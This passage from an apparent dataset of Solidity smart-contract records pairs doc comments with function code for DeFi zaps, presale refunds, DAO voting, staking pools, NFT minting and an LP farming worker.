stakes LPT Received so the \r\n @param _fromTokenAddress The token used for investment (address(0x00) if ether)\r\n @param _toBanConverterAddress The address of pool to add liquidity to\r\n @param _toReserveTokenAddress The Reserve to add liquidity to\r\n @param _amount The amount of ERC to invest\r\n @param _minPoolTokens received (minimum: 1)\r\n @param _allowanceTarget Spender for the swap\r\n @param _swapTarget Excecution target for the swap\r\n @param swapData DEX quote data\r\n @return LPT Received\r\n */", "function_code": "function ZapInSingleSided(\r\n address _fromTokenAddress,\r\n address _toBanConverterAddress,\r\n address _toReserveTokenAddress,\r\n uint256 _amount,\r\n uint256 _minPoolTokens,\r\n address _allowanceTarget,\r\n address _swapTarget,\r\n bytes calldata swapData\r\n )\r\n external\r\n payable\r\n nonReentrant\r\n stopInEmergency\r\n returns (uint256 lptReceived, uint256 id)\r\n {\r\n uint256 valueToSend;\r\n address tokenToSend;\r\n address poolAnchor = IBancorV2Converter(_toBanConverterAddress)\r\n .anchor();\r\n\r\n if (_fromTokenAddress == address(0)) {\r\n require(msg.value > 0, \"ERR: No ETH sent\");\r\n valueToSend = _transferGoodwill(_fromTokenAddress, msg.value);\r\n } else {\r\n require(_amount > 0, \"Err: No Tokens Sent\");\r\n require(msg.value == 0, \"ERR: ETH sent with Token\");\r\n tokenToSend = _fromTokenAddress;\r\n IERC20(tokenToSend).safeTransferFrom(\r\n msg.sender,\r\n address(this),\r\n _amount\r\n );\r\n valueToSend = _transferGoodwill(_fromTokenAddress, _amount);\r\n }\r\n\r\n if (_fromTokenAddress == _toReserveTokenAddress) {\r\n (lptReceived, id) = _enterBancor(\r\n poolAnchor,\r\n tokenToSend,\r\n valueToSend\r\n );\r\n } else {\r\n uint256 reserveTokensBought = _fillQuote(\r\n tokenToSend,\r\n _toReserveTokenAddress,\r\n _amount,\r\n _allowanceTarget,\r\n _swapTarget,\r\n swapData\r\n );\r\n (lptReceived, id) = _enterBancor(\r\n poolAnchor,\r\n _toReserveTokenAddress,\r\n reserveTokensBought\r\n );\r\n }\r\n\r\n require(lptReceived >= _minPoolTokens, \"ERR: High Slippage\");\r\n\r\n emit Zapin(msg.sender, poolAnchor, lptReceived, id);\r\n }", "version": "0.5.12"} {"comment": "/**\r\n @dev This function is used to calculate and transfer goodwill\r\n @param _tokenContractAddress Token from which goodwill is deducted\r\n @param valueToSend The total value being zapped in\r\n @return The quantity of remaining tokens\r\n */", "function_code": "function _transferGoodwill(\r\n address _tokenContractAddress,\r\n uint256 valueToSend\r\n ) internal returns (uint256) {\r\n if (goodwill == 0) return valueToSend;\r\n\r\n uint256 goodwillPortion = SafeMath.div(\r\n SafeMath.mul(valueToSend, goodwill),\r\n 10000\r\n );\r\n if (_tokenContractAddress == address(0)) {\r\n zgoodwillAddress.transfer(goodwillPortion);\r\n } else {\r\n IERC20(_tokenContractAddress).safeTransfer(\r\n zgoodwillAddress,\r\n goodwillPortion\r\n );\r\n }\r\n return valueToSend.sub(goodwillPortion);\r\n }", "version": "0.5.12"} {"comment": "// Allows any user to withdraw his tokens.\n// Takes the token's ERC20 address as argument as it is unknown at the time of contract deployment.", "function_code": "function perform_withdraw(address tokenAddress) {\r\n // Disallow withdraw if tokens haven't been bought yet.\r\n if (!bought_tokens) throw;\r\n \r\n // Retrieve current token balance of contract.\r\n ERC20 token = ERC20(tokenAddress);\r\n uint256 contract_token_balance = token.balanceOf(address(this));\r\n \r\n // Disallow token withdrawals if there are no tokens to withdraw.\r\n if (contract_token_balance == 0) throw;\r\n \r\n // Store the user's token balance in a temporary variable.\r\n uint256 tokens_to_withdraw = (balances[msg.sender] * contract_token_balance) / contract_eth_value;\r\n \r\n // Update the value of tokens currently held by the contract.\r\n contract_eth_value -= balances[msg.sender];\r\n \r\n // Update the user's balance prior to sending to prevent recursive call.\r\n balances[msg.sender] = 0;\r\n\r\n // Send the funds. Throws on failure to prevent loss of funds.\r\n if(!token.transfer(msg.sender, tokens_to_withdraw)) throw;\r\n }", "version": "0.4.17"} {"comment": "/*\r\n * @notice Vote against the proposal\r\n * @param _proposalId Id (number) of the proposal\r\n */", "function_code": "function voteAgainst(uint256 _proposalId) onlyShareholder external returns (bool success){\r\n\r\n require(\r\n resultsInBlock[_proposalId] > block.number,\r\n \"Voting finished\"\r\n );\r\n\r\n require(\r\n !boolVotedFor[_proposalId][msg.sender] && !boolVotedAgainst[_proposalId][msg.sender],\r\n \"Already voted\"\r\n );\r\n\r\n numberOfVotersAgainst[_proposalId] = numberOfVotersAgainst[_proposalId] + 1;\r\n\r\n uint voterId = numberOfVotersAgainst[_proposalId];\r\n\r\n votedAgainst[_proposalId][voterId] = msg.sender;\r\n\r\n boolVotedAgainst[_proposalId][msg.sender] = true;\r\n\r\n emit VoteAgainst(_proposalId, msg.sender);\r\n\r\n return true;\r\n }", "version": "0.5.11"} {"comment": "// Allows any user to get his eth refunded before the purchase is made or after approx. 20 days in case the devs refund the eth.", "function_code": "function refund_me() {\r\n if (bought_tokens) {\r\n // Only allow refunds when the tokens have been bought if the minimum refund block has been reached.\r\n if (block.number < min_refund_block) throw;\r\n }\r\n \r\n // Store the user's balance prior to withdrawal in a temporary variable.\r\n uint256 eth_to_withdraw = balances[msg.sender];\r\n \r\n // Update the user's balance prior to sending ETH to prevent recursive call.\r\n balances[msg.sender] = 0;\r\n \r\n // Return the user's funds. Throws on failure to prevent loss of funds.\r\n msg.sender.transfer(eth_to_withdraw);\r\n }", "version": "0.4.17"} {"comment": "// Buy the tokens. Sends ETH to the presale wallet and records the ETH amount held in the contract.", "function_code": "function buy_the_tokens() {\r\n // Short circuit to save gas if the contract has already bought tokens.\r\n if (bought_tokens) return;\r\n \r\n // Throw if the contract balance is less than the minimum required amount\r\n if (this.balance < min_required_amount) throw;\r\n \r\n // Record that the contract has bought the tokens.\r\n bought_tokens = true;\r\n \r\n // Record the amount of ETH sent as the contract's current value.\r\n contract_eth_value = this.balance;\r\n\r\n // Transfer all the funds to the crowdsale address.\r\n sale.transfer(contract_eth_value);\r\n }", "version": "0.4.17"} {"comment": "/**\r\n * @dev register a new proposal with the given parameters. Every proposal has a unique ID which is being\r\n * generated by calculating keccak256 of a incremented counter.\r\n * @param _paramsHash parameters hash\r\n * @param _proposer address\r\n * @param _organization address\r\n */", "function_code": "function propose(uint256, bytes32 _paramsHash, address _proposer, address _organization)\r\n external\r\n returns(bytes32)\r\n {\r\n // solhint-disable-next-line not-rely-on-time\r\n require(now > parameters[_paramsHash].activationTime, \"not active yet\");\r\n //Check parameters existence.\r\n require(parameters[_paramsHash].queuedVoteRequiredPercentage >= 50);\r\n // Generate a unique ID:\r\n bytes32 proposalId = keccak256(abi.encodePacked(this, proposalsCnt));\r\n proposalsCnt = proposalsCnt.add(1);\r\n // Open proposal:\r\n Proposal memory proposal;\r\n proposal.callbacks = msg.sender;\r\n proposal.organizationId = keccak256(abi.encodePacked(msg.sender, _organization));\r\n\r\n proposal.state = ProposalState.Queued;\r\n // solhint-disable-next-line not-rely-on-time\r\n proposal.times[0] = now;//submitted time\r\n proposal.currentBoostedVotePeriodLimit = parameters[_paramsHash].boostedVotePeriodLimit;\r\n proposal.proposer = _proposer;\r\n proposal.winningVote = NO;\r\n proposal.paramsHash = _paramsHash;\r\n if (organizations[proposal.organizationId] == address(0)) {\r\n if (_organization == address(0)) {\r\n organizations[proposal.organizationId] = msg.sender;\r\n } else {\r\n organizations[proposal.organizationId] = _organization;\r\n }\r\n }\r\n //calc dao bounty\r\n uint256 daoBounty =\r\n parameters[_paramsHash].daoBountyConst.mul(averagesDownstakesOfBoosted[proposal.organizationId]).div(100);\r\n proposal.daoBountyRemain = daoBounty.max(parameters[_paramsHash].minimumDaoBounty);\r\n proposals[proposalId] = proposal;\r\n proposals[proposalId].stakes[NO] = proposal.daoBountyRemain;//dao downstake on the proposal\r\n\r\n emit NewProposal(proposalId, organizations[proposal.organizationId], NUM_OF_CHOICES, _proposer, _paramsHash);\r\n return proposalId;\r\n }", "version": "0.5.13"} {"comment": "/**\r\n * @dev executeBoosted try to execute a boosted or QuietEndingPeriod proposal if it is expired\r\n * it rewards the msg.sender with P % of the proposal's upstakes upon a successful call to this function.\r\n * P = t/150, where t is the number of seconds passed since the the proposal's timeout.\r\n * P is capped by 10%.\r\n * @param _proposalId the id of the proposal\r\n * @return uint256 expirationCallBounty the bounty amount for the expiration call\r\n */", "function_code": "function executeBoosted(bytes32 _proposalId) external returns(uint256 expirationCallBounty) {\r\n Proposal storage proposal = proposals[_proposalId];\r\n require(proposal.state == ProposalState.Boosted || proposal.state == ProposalState.QuietEndingPeriod,\r\n \"proposal state in not Boosted nor QuietEndingPeriod\");\r\n require(_execute(_proposalId), \"proposal need to expire\");\r\n\r\n proposal.secondsFromTimeOutTillExecuteBoosted =\r\n // solhint-disable-next-line not-rely-on-time\r\n now.sub(proposal.currentBoostedVotePeriodLimit.add(proposal.times[1]));\r\n\r\n expirationCallBounty = calcExecuteCallBounty(_proposalId);\r\n proposal.totalStakes = proposal.totalStakes.sub(expirationCallBounty);\r\n require(stakingToken.transfer(msg.sender, expirationCallBounty), \"transfer to msg.sender failed\");\r\n emit ExpirationCallBounty(_proposalId, msg.sender, expirationCallBounty);\r\n }", "version": "0.5.13"} {"comment": "/* ============= Contract initialization\r\n * dev: initializes token: set initial values for erc20 variables\r\n * assigns all tokens ('totalSupply') to one address ('tokenOwner')\r\n * @param _contractNumberInTheLedger Contract Id.\r\n * @param _description Description of the project of organization (short text or just a link)\r\n * @param _name Name of the token\r\n * @param _symbol Symbol of the token\r\n * @param _tokenOwner Address that will initially hold all created tokens\r\n * @param _dividendsPeriod Period in seconds between finish of the previous dividends round and start of the next.\r\n * On test net can be small.\r\n * @param _xEurContractAddress Address of contract with xEUR tokens\r\n * (can be different for test net, where we use mock up contract)\r\n * @param _cryptonomicaVerificationContractAddress Address of the Cryptonomica verification smart contract\r\n * (can be different for test net, where we use mock up contract)\r\n * @param _disputeResolutionAgreement Text of the arbitration agreement.\r\n */", "function_code": "function initToken(\r\n uint _contractNumberInTheLedger,\r\n string calldata _description,\r\n string calldata _name,\r\n string calldata _symbol,\r\n uint _dividendsPeriod,\r\n address _xEurContractAddress,\r\n address _cryptonomicaVerificationContractAddress,\r\n string calldata _disputeResolutionAgreement\r\n ) external returns (bool success) {\r\n\r\n require(\r\n msg.sender == creator,\r\n \"Only creator can initialize token contract\"\r\n );\r\n\r\n require(\r\n totalSupply == 0,\r\n \"Contract already initialized\"\r\n );\r\n\r\n contractNumberInTheLedger = _contractNumberInTheLedger;\r\n description = _description;\r\n name = _name;\r\n symbol = _symbol;\r\n xEuro = XEuro(_xEurContractAddress);\r\n cryptonomicaVerification = CryptonomicaVerification(_cryptonomicaVerificationContractAddress);\r\n disputeResolutionAgreement = _disputeResolutionAgreement;\r\n dividendsPeriod = _dividendsPeriod;\r\n\r\n return true;\r\n }", "version": "0.5.11"} {"comment": "/// @notice Compute the virtual liquidity from a position's parameters.\n/// @param tickLower The lower tick of a position.\n/// @param tickUpper The upper tick of a position.\n/// @param liquidity The liquidity of a a position.\n/// @dev vLiquidity = liquidity * validRange^2 / 1e6, where the validRange is the tick amount of the\n/// intersection between the position and the reward range.\n/// We divided it by 1e6 to keep vLiquidity smaller than Q128 in most cases. This is safe since liqudity is usually a large number.", "function_code": "function _getVLiquidityForNFT(\n int24 tickLower,\n int24 tickUpper,\n uint128 liquidity\n ) internal view returns (uint256 vLiquidity) {\n // liquidity is roughly equals to sqrt(amountX*amountY)\n require(liquidity >= 1e6, \"LIQUIDITY TOO SMALL\");\n uint256 validRange = uint24(\n Math.max(\n Math.min(rewardUpperTick, tickUpper) - Math.max(rewardLowerTick, tickLower),\n 0\n )\n );\n vLiquidity = (validRange * validRange * uint256(liquidity)) / 1e6;\n return vLiquidity;\n }", "version": "0.8.4"} {"comment": "/*\r\n * @dev initToken and issueTokens are separate functions because of\r\n * 'Stack too deep' exception from compiler\r\n * @param _tokenOwner Address that will get all new created tokens.\r\n * @param _totalSupply Amount of tokens to create.\r\n */", "function_code": "function issueTokens(\r\n uint _totalSupply,\r\n address _tokenOwner\r\n ) external returns (bool success){\r\n\r\n require(\r\n msg.sender == creator,\r\n \"Only creator can initialize token contract\"\r\n );\r\n\r\n require(\r\n totalSupply == 0,\r\n \"Contract already initialized\"\r\n );\r\n\r\n require(\r\n _totalSupply > 0,\r\n \"Number of tokens can not be zero\"\r\n );\r\n\r\n\r\n totalSupply = _totalSupply;\r\n\r\n balanceOf[_tokenOwner] = totalSupply;\r\n\r\n emit Transfer(address(0), _tokenOwner, _totalSupply);\r\n\r\n return true;\r\n }", "version": "0.5.11"} {"comment": "// Enter the bar. Pay some 123bs. Earn some shares.\n// Locks 123b and mints 123s", "function_code": "function enter(uint256 _amount) public {\n // Gets the amount of 123b locked in the contract\n uint256 total123b = bonus.balanceOf(address(this));\n // Gets the amount of 123s in existence\n uint256 totalShares = totalSupply();\n // If no 123s exists, mint it 1:1 to the amount put in\n if (totalShares == 0 || total123b == 0) {\n _mint(msg.sender, _amount);\n } \n // Calculate and mint the amount of 123s the 123b is worth. The ratio will change overtime, as 123s is burned/minted and 123b deposited + gained from fees / withdrawn.\n else {\n uint256 what = _amount.mul(totalShares).div(total123b);\n _mint(msg.sender, what);\n }\n // Lock the 123b in the contract\n bonus.transferFrom(msg.sender, address(this), _amount);\n }", "version": "0.6.12"} {"comment": "// Leave the bar. Claim back your 123b.\n// Unlocks the staked + gained 123b and burns 123s", "function_code": "function leave(uint256 _share) public {\n // Gets the amount of 123s in existence\n uint256 totalShares = totalSupply();\n // Calculates the amount of 123b the 123s is worth\n uint256 what = _share.mul(bonus.balanceOf(address(this))).div(totalShares);\n _burn(msg.sender, _share);\n bonus.transfer(msg.sender, what);\n }", "version": "0.6.12"} {"comment": "/// @notice withdraw a single position.\n/// @param tokenId The related position id.\n/// @param noReward true if donot collect reward", "function_code": "function withdraw(uint256 tokenId, bool noReward) external nonReentrant {\n require(owners[tokenId] == msg.sender, \"NOT OWNER OR NOT EXIST\");\n\n if (noReward) {\n _updateGlobalStatus();\n } else {\n _collectReward(tokenId);\n }\n uint256 vLiquidity = tokenStatus[tokenId].vLiquidity;\n _updateVLiquidity(vLiquidity, false);\n uint256 nIZI = tokenStatus[tokenId].nIZI;\n if (nIZI > 0) {\n _updateNIZI(nIZI, false);\n // refund iZi to user\n iziToken.safeTransfer(msg.sender, nIZI);\n }\n\n uniV3NFTManager.safeTransferFrom(address(this), msg.sender, tokenId);\n owners[tokenId] = address(0);\n bool res = tokenIds[msg.sender].remove(tokenId);\n require(res);\n\n emit Withdraw(msg.sender, tokenId);\n }", "version": "0.8.4"} {"comment": "// emergency withdraw without caring about pending earnings\n// pending earnings will be lost / set to 0 if used emergency withdraw", "function_code": "function emergencyWithdraw(uint amountToWithdraw) public {\r\n require(amountToWithdraw > 0, \"Cannot withdraw 0 Tokens\");\r\n require(depositedTokens[msg.sender] >= amountToWithdraw, \"Invalid amount to withdraw\");\r\n require(now.sub(depositTime[msg.sender]) > cliffTime, \"You recently deposited!, please wait before withdrawing.\");\r\n\r\n // set pending earnings to 0 here\r\n lastClaimedTime[msg.sender] = now;\r\n \r\n uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);\r\n uint amountAfterFee = amountToWithdraw.sub(fee);\r\n \r\n require(Token(trustedDepositTokenAddress).transfer(owner, fee), \"Could not transfer fee!\");\r\n require(Token(trustedDepositTokenAddress).transfer(msg.sender, amountAfterFee), \"Could not transfer tokens.\");\r\n \r\n depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);\r\n \r\n if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {\r\n holders.remove(msg.sender);\r\n }\r\n }", "version": "0.6.11"} {"comment": "// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)\n// Admin cannot transfer out deposit tokens from this smart contract\n// Admin can transfer out reward tokens from this address once adminClaimableTime has reached", "function_code": "function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {\r\n require(_tokenAddr != trustedDepositTokenAddress, \"Admin cannot transfer out Deposit Tokens from this contract!\");\r\n \r\n require((_tokenAddr != trustedRewardTokenAddress) || (now > adminClaimableTime), \"Admin cannot Transfer out Reward Tokens yet!\");\r\n \r\n Token(_tokenAddr).transfer(_to, _amount);\r\n }", "version": "0.6.11"} {"comment": "/**\r\n * @param _newAdmin Address of new admin\r\n */", "function_code": "function addAdmin(address _newAdmin) public onlyAdmin returns (bool success){\r\n\r\n require(\r\n cryptonomicaVerification.keyCertificateValidUntil(_newAdmin) > now,\r\n \"New admin has to be verified on Cryptonomica.net\"\r\n );\r\n\r\n // revokedOn returns uint256 (unix time), it's 0 if verification is not revoked\r\n require(\r\n cryptonomicaVerification.revokedOn(_newAdmin) == 0,\r\n \"Verification for this address was revoked, can not add\"\r\n );\r\n\r\n isAdmin[_newAdmin] = true;\r\n\r\n emit AdminAdded(_newAdmin, msg.sender);\r\n\r\n return true;\r\n }", "version": "0.5.11"} {"comment": "// Deposit LP tokens to OneTwoThreeMasterChef for BONUS allocation.", "function_code": "function deposit(uint256 _pid, uint256 _amount) public {\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][msg.sender];\n updatePool(_pid);\n if (user.amount > 0) {\n uint256 pending =\n user.amount.mul(pool.accBonusPerShare).div(1e12).sub(\n user.rewardDebt\n );\n safeBonusTransfer(msg.sender, pending);\n }\n pool.lpToken.safeTransferFrom(\n address(msg.sender),\n address(this),\n _amount\n );\n user.amount = user.amount.add(_amount);\n user.rewardDebt = user.amount.mul(pool.accBonusPerShare).div(1e12);\n emit Deposit(msg.sender, _pid, _amount);\n }", "version": "0.6.12"} {"comment": "// Withdraw LP tokens from OneTwoThreeMasterChef.", "function_code": "function withdraw(uint256 _pid, uint256 _amount) public {\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][msg.sender];\n require(user.amount >= _amount, \"withdraw: not good\");\n updatePool(_pid);\n uint256 pending =\n user.amount.mul(pool.accBonusPerShare).div(1e12).sub(\n user.rewardDebt\n );\n safeBonusTransfer(msg.sender, pending);\n user.amount = user.amount.sub(_amount);\n user.rewardDebt = user.amount.mul(pool.accBonusPerShare).div(1e12);\n pool.lpToken.safeTransfer(address(msg.sender), _amount);\n emit Withdraw(msg.sender, _pid, _amount);\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice Get all view URIs for all nfts inside a given montage.\r\n * @param _tokenId the id of a previously minted Montage NFT\r\n * @return metadata the off-chain URIs to view the token metadata of each token in json format\r\n */", "function_code": "function viewURIsInMontage(uint256 _tokenId)\r\n public\r\n override\r\n view\r\n onlyExistingTokens(_tokenId)\r\n returns (string memory metadata)\r\n {\r\n uint256[] memory tokenIds = getTokenIds(_tokenId);\r\n uint256 len = tokenIds.length;\r\n\r\n // start JSON object\r\n metadata = strConcat(\"{\\n\", ' \"uris\": [\\n');\r\n\r\n // transfer ownership of nfts to this contract\r\n for (uint256 i = 0; i < len; i++) {\r\n // Media URI\r\n metadata = strConcat(metadata, '\"');\r\n metadata = strConcat(metadata, erc721Contract.tokenURI(tokenIds[i]));\r\n metadata = strConcat(metadata, '\"');\r\n if (i < len - 1) {\r\n metadata = strConcat(metadata, \", \");\r\n }\r\n }\r\n //close array\r\n metadata = strConcat(metadata, \"\\n ]\");\r\n\r\n // Finish JSON object\r\n metadata = strConcat(metadata, \"\\n}\");\r\n }", "version": "0.6.11"} {"comment": "/*\r\n * unpacks the montage, transferring ownership of the individual nfts inside the montage to the montage owner before burning the montage nft\r\n */", "function_code": "function unpackMontage(uint256 _tokenId) external override onlyTokenOwner(_tokenId) {\r\n require(canBeUnpacked(_tokenId), \"unpackMontage: cannot unpack this montage\");\r\n uint256[] memory tokenIds = getTokenIds(_tokenId);\r\n\r\n uint256 len = tokenIds.length;\r\n // transfer ownership of nfts from this contract to the sender address\r\n for (uint256 i = 0; i < len; i++) {\r\n erc721Contract.transferFrom(address(this), msg.sender, tokenIds[i]);\r\n }\r\n\r\n _burn(_tokenId);\r\n emit MontageUnpacked(_tokenId);\r\n }", "version": "0.6.11"} {"comment": "/**\n * @notice Mint single token\n * @param beneficiary This address will receive the token\n * @param mintCode Can be anything, but it affects the token code, which will also affect image id\n */", "function_code": "function mint(address beneficiary, bytes32 mintCode) external payable {\n require(block.timestamp >= mintStart, \"mint not started\");\n require(block.timestamp <= mintEnd, \"mint finished\");\n require(msg.value == mintFee, \"wrong mint fee\");\n require(totalSupply() < mintLimit, \"mint limit exceed\");\n\n _mintInternal(beneficiary, mintCode);\n }", "version": "0.8.10"} {"comment": "/**\n * @notice Mint a new Voucher of the specified type.\n * @param term_ Release term:\n * One-time release type: fixed at 0;\n * Linear and Staged release type: duration in seconds from start to end of release.\n * @param amount_ Amount of assets (ERC20) to be locked up\n * @param maturities_ Timestamp of each release time node\n * @param percentages_ Release percentage of each release time node\n * @param originalInvestor_ Note indicating the original invester\n */", "function_code": "function mint(\n uint64 term_, /*seconds*/\n uint256 amount_,\n uint64[] calldata maturities_,\n uint32[] calldata percentages_,\n string memory originalInvestor_\n ) external virtual override returns (uint256, uint256) {\n (uint256 slot, uint256 tokenId) = _mint(\n msg.sender,\n term_,\n amount_,\n maturities_,\n percentages_,\n originalInvestor_\n );\n return (slot, tokenId);\n }", "version": "0.7.6"} {"comment": "/**\n * @notice Mint multiple tokens\n * @param beneficiaries List of addresses which will receive tokens\n * @param mintCodes List of mint codes (also see mint() function)\n */", "function_code": "function bulkMint(address[] calldata beneficiaries, bytes32[] calldata mintCodes) external payable {\n require(block.timestamp >= mintStart, \"mint not started\");\n require(block.timestamp <= mintEnd, \"mint finished\");\n uint256 count = beneficiaries.length;\n require(mintCodes.length == count, \"array length mismatch\");\n require(msg.value == mintFee * count, \"wrong mint fee\");\n require(totalSupply() + count <= mintLimit, \"mint limit exceed\");\n\n for (uint256 i = 0; i < count; i++) {\n _mintInternal(beneficiaries[i], mintCodes[i]);\n }\n }", "version": "0.8.10"} {"comment": "// function GetTreeByUserId(uint32 UserId, bool report) view public returns (User[]){\n// //Get Position\n// uint32 userposition = uint32(userlistbyid[uint32(UserId)].Position);\n// //Try to return all data base on position\n// uint userCount = 0;\n// if(report){\n// userCount = uint((2 ** (uint(currentLevel) + 1)) - 1);\n// }\n// else{\n// userCount = 15;\n// }\n// User[] memory userlist = new User[](userCount);\n// uint counter = 0;\n// uint32 availablenodes = 2;\n// int8 userlevel = 2;\n// userlist[counter] = userlistbyid[uint32(userlistbypos[userposition].Id)];\n// counter++;\n// while(true){\n// userposition = userposition * 2;\n// for(uint32 i = 0; i < availablenodes; i++){\n// userlist[counter] = userlistbyid[uint32(userlistbypos[userposition + i].Id)];\n// counter++;\n// }\n// availablenodes = availablenodes * 2;\n// userlevel++;\n// if(report == false){\n// if(availablenodes > 8){\n// break;\n// }\n// }\n// else{\n// if(userlevel > currentLevel){\n// break;\n// }\n// }\n// }\n// return userlist;\n// }\n// function GetUserById(uint32 userId) view public returns(User user){\n// user = userlistbyid[userId];\n// }", "function_code": "function CheckInvestmentExpiry() public onlyOwner{\r\n require(!isContractAlive(), \"Contract is alive.\");\r\n require(PayoutAmount == 0, \"Contract balance is already calculated.\");\r\n \r\n if(MainterPayoutAmount != 0){\r\n PayoutMaintainer();\r\n }\r\n \r\n //Current Date - last Investment Date >= 365 days from last investment date timestamp\r\n if(!isContractAlive()){\r\n IsExpired = true;\r\n uint contractBalance = ERC20Interface.balanceOf(address(this));\r\n PayoutAmount = uint(contractBalance / uint(UnpaidUserCount));\r\n }\r\n }", "version": "0.4.26"} {"comment": "/**\n * @notice Calculates image id\n * @param id Token id\n */", "function_code": "function imageId(uint256 id) public view returns (bytes32) {\n if (imageSalt == bytes32(0)) {\n // Images are not revealed yet\n return bytes32(0);\n }\n bytes32 tokenCode = tokenCodes[id];\n if (tokenCode == bytes32(0)) return bytes32(0); // Non-existing token\n return keccak256(abi.encodePacked(imageSalt, tokenCode));\n }", "version": "0.8.10"} {"comment": "/**\r\n * Constructor function\r\n *\r\n * Initializes contract\r\n */", "function_code": "function Opacity() public payable {\r\n director = msg.sender;\r\n name = \"Opacity\";\r\n symbol = \"OPQ\";\r\n decimals = 18;\r\n directorLock = false;\r\n funds = 0;\r\n totalSupply = 130000000 * 10 ** uint256(decimals);\r\n\r\n // Assign reserved OPQ supply to the director\r\n balances[director] = totalSupply;\r\n\r\n // Define default values for Opacity functions\r\n claimAmount = 5 * 10 ** (uint256(decimals) - 1);\r\n payAmount = 4 * 10 ** (uint256(decimals) - 1);\r\n feeAmount = 1 * 10 ** (uint256(decimals) - 1);\r\n\r\n // Seconds in a year\r\n epoch = 31536000;\r\n\r\n // Maximum time for a sector to remain stored\r\n retentionMax = 40 * 10 ** uint256(decimals);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * Director can alter the storage-peg and broker fees\r\n */", "function_code": "function amendClaim(uint8 claimAmountSet, uint8 payAmountSet, uint8 feeAmountSet, uint8 accuracy) public onlyDirector returns (bool success) {\r\n require(claimAmountSet == (payAmountSet + feeAmountSet));\r\n require(payAmountSet < claimAmountSet);\r\n require(feeAmountSet < claimAmountSet);\r\n require(claimAmountSet > 0);\r\n require(payAmountSet > 0);\r\n require(feeAmountSet > 0);\r\n\r\n claimAmount = claimAmountSet * 10 ** (uint256(decimals) - accuracy);\r\n payAmount = payAmountSet * 10 ** (uint256(decimals) - accuracy);\r\n feeAmount = feeAmountSet * 10 ** (uint256(decimals) - accuracy);\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * Bury an address\r\n *\r\n * When an address is buried; only claimAmount can be withdrawn once per epoch\r\n */", "function_code": "function bury() public returns (bool success) {\r\n // The address must be previously unburied\r\n require(!buried[msg.sender]);\r\n\r\n // An address must have at least claimAmount to be buried\r\n require(balances[msg.sender] >= claimAmount);\r\n\r\n // Prevent addresses with large balances from getting buried\r\n require(balances[msg.sender] <= retentionMax);\r\n\r\n // Set buried state to true\r\n buried[msg.sender] = true;\r\n\r\n // Set the initial claim clock to 1\r\n claimed[msg.sender] = 1;\r\n\r\n // Execute an event reflecting the change\r\n emit Bury(msg.sender, balances[msg.sender]);\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "/// @dev Return the entitied LP token balance for the given shares.\n/// @param share The number of shares to be converted to LP balance.", "function_code": "function shareToBalance(uint256 share) public view returns (uint256) {\r\n if (totalShare == 0) return share; // When there's no share, 1 share = 1 balance.\r\n uint256 totalBalance = staking.balanceOf(address(this));\r\n return share.mul(totalBalance).div(totalShare);\r\n }", "version": "0.5.16"} {"comment": "/// @dev Return the number of shares to receive if staking the given LP tokens.\n/// @param balance the number of LP tokens to be converted to shares.", "function_code": "function balanceToShare(uint256 balance) public view returns (uint256) {\r\n if (totalShare == 0) return balance; // When there's no share, 1 share = 1 balance.\r\n uint256 totalBalance = staking.balanceOf(address(this));\r\n return balance.mul(totalShare).div(totalBalance);\r\n }", "version": "0.5.16"} {"comment": "/// @dev Re-invest whatever this worker has earned back to staked LP tokens.", "function_code": "function reinvest() public onlyEOA nonReentrant {\r\n // 1. Withdraw all the rewards.\r\n staking.getReward();\r\n uint256 reward = uni.myBalance();\r\n if (reward == 0) return;\r\n // 2. Send the reward bounty to the caller.\r\n uint256 bounty = reward.mul(reinvestBountyBps) / 10000;\r\n uni.safeTransfer(msg.sender, bounty);\r\n // 3. Convert all the remaining rewards to ETH.\r\n address[] memory path = new address[](2);\r\n path[0] = address(uni);\r\n path[1] = address(weth);\r\n router.swapExactTokensForETH(reward.sub(bounty), 0, path, address(this), now);\r\n // 4. Use add ETH strategy to convert all ETH to LP tokens.\r\n addStrat.execute.value(address(this).balance)(address(0), 0, abi.encode(fToken, 0));\r\n // 5. Mint more LP tokens and stake them for more rewards.\r\n staking.stake(lpToken.balanceOf(address(this)));\r\n emit Reinvest(msg.sender, reward, bounty);\r\n }", "version": "0.5.16"} {"comment": "/// @dev Work on the given position. Must be called by the operator.\n/// @param id The position ID to work on.\n/// @param user The original user that is interacting with the operator.\n/// @param debt The amount of user debt to help the strategy make decisions.\n/// @param data The encoded data, consisting of strategy address and calldata.", "function_code": "function work(uint256 id, address user, uint256 debt, bytes calldata data)\r\n external payable\r\n onlyOperator nonReentrant\r\n {\r\n // 1. Convert this position back to LP tokens.\r\n _removeShare(id);\r\n // 2. Perform the worker strategy; sending LP tokens + ETH; expecting LP tokens + ETH.\r\n (address strat, bytes memory ext) = abi.decode(data, (address, bytes));\r\n require(okStrats[strat], \"unapproved work strategy\");\r\n lpToken.transfer(strat, lpToken.balanceOf(address(this)));\r\n Strategy(strat).execute.value(msg.value)(user, debt, ext);\r\n // 3. Add LP tokens back to the farming pool.\r\n _addShare(id);\r\n // 4. Return any remaining ETH back to the operator.\r\n SafeToken.safeTransferETH(msg.sender, address(this).balance);\r\n }", "version": "0.5.16"} {"comment": "/// @dev Return maximum output given the input amount and the status of Uniswap reserves.\n/// @param aIn The amount of asset to market sell.\n/// @param rIn the amount of asset in reserve for input.\n/// @param rOut The amount of asset in reserve for output.", "function_code": "function getMktSellAmount(uint256 aIn, uint256 rIn, uint256 rOut) public pure returns (uint256) {\r\n if (aIn == 0) return 0;\r\n require(rIn > 0 && rOut > 0, \"bad reserve values\");\r\n uint256 aInWithFee = aIn.mul(997);\r\n uint256 numerator = aInWithFee.mul(rOut);\r\n uint256 denominator = rIn.mul(1000).add(aInWithFee);\r\n return numerator / denominator;\r\n }", "version": "0.5.16"} {"comment": "/// @dev Return the amount of ETH to receive if we are to liquidate the given position.\n/// @param id The position ID to perform health check.", "function_code": "function health(uint256 id) external view returns (uint256) {\r\n // 1. Get the position's LP balance and LP 